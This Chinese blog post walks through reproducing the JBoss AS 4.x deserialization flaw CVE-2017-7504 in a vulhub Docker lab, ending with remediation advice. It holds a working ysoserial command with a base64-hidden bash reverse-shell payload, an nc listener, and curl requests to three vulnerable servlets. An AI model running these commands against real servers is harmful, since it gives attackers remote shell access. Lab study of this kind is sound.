天天看點

JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

作者:Java小文

一、漏洞編号

CVE-2017-7504           

二、影響範圍

JBoss AS 4.x及之前版本。           

三、JBoss-AS指紋資訊

{
 	"match": "body_contains",
	"content": "manage this jboss as instance"},

{
 	"match": "title_contains",
	"content": "welcome to jboss as"},

{
 	"match": "header_contains",
"content": "jbossas"},

{
 	"match": "banner_contains",
	"content": "jbossas"}           

四、漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ實作過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java檔案存在反序列化漏洞,遠端攻擊者可借助特制的序列化資料利用該漏洞執行任意代碼。

五、環境搭建

1. 進入CVE-2017-7504環境

cd vulhub/jboss/CVE-2017-7504           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

2. 啟動CVE-2017-7504環境

docker-compose up -d           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

3. 檢視CVE-2017-7504環境

docker-compose ps           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

4. 通路CVE-2017-7504環境

http://ip:8080           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

5. 檢視CVE-2017-7504提示資訊

cat README.md           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

6. 關閉CVE-2017-7504環境

使用完成記得關閉環境

docker-compose down           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

六、漏洞複現

有任何疑問可以去看前面那片文章:JBOSS反序列化遠端代碼執行漏洞CVE-2017-12149

https://blog.csdn.net/qq_51577576/article/details/126632995           

靶機:kali:192.168.13.131

攻擊機:windows:192.168.192.1

2.getshell

隻需要構造帶有需要執行Payload的ser檔案,然後使用curl将二進制檔案送出至目标伺服器的相應頁面中,即可執行Payload中指定的指令,擷取對電腦的控制權。以下幾個頁面都行,或許還有其他的,我這裡就不深究了

invoker/JMXInvokerServlet
invoker/readonly
jbossmq-httpil/HTTPServerILServlet           

攻擊機監聽

.\nc.exe -lvvp 55555           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

靶機執行連接配接指令

java -jar /root/Desktop/ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTkyLjEvNTU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}">poc.ser           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504
curl http://192.168.13.131:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

Getshell成功

JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

3.其他方式

直接替換上面指令就行了,不詳細寫了。

curl http://192.168.13.131:8080/invoker/JMXInvokerServlet --data-binary @poc.ser           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504
curl http://192.168.13.131:8080/invoker/readonly --data-binary @poc.ser           
JBOSS AS 4.x以下反序列化遠端代碼執行漏洞CVE-2017-7504

七、漏洞修複

1、不需要 http-invoker.sar 元件的使用者可直接删除此元件。

2、添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 标簽中,對 http invoker 元件進行通路控制:/*

八、相關資源

JBOSS AS 5.x/6.x反序列化遠端代碼執行漏洞CVE-2017-12149

https://blog.csdn.net/qq_51577576/article/details/126632995           

docker 搭建 vulhub 靶場環境:

https://blog.csdn.net/qq_51577576/article/details/125048165           

反彈shell的集中常見方式(一)nc反彈shell

https://blog.csdn.net/qq_51577576/article/details/126128251           

exec編碼工具:

https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec           

ysoserial-all.jar工具:

https://github.com/frohoff/ysoserial           
原文連結:https://blog.csdn.net/qq_51577576/article/details/126633400

繼續閱讀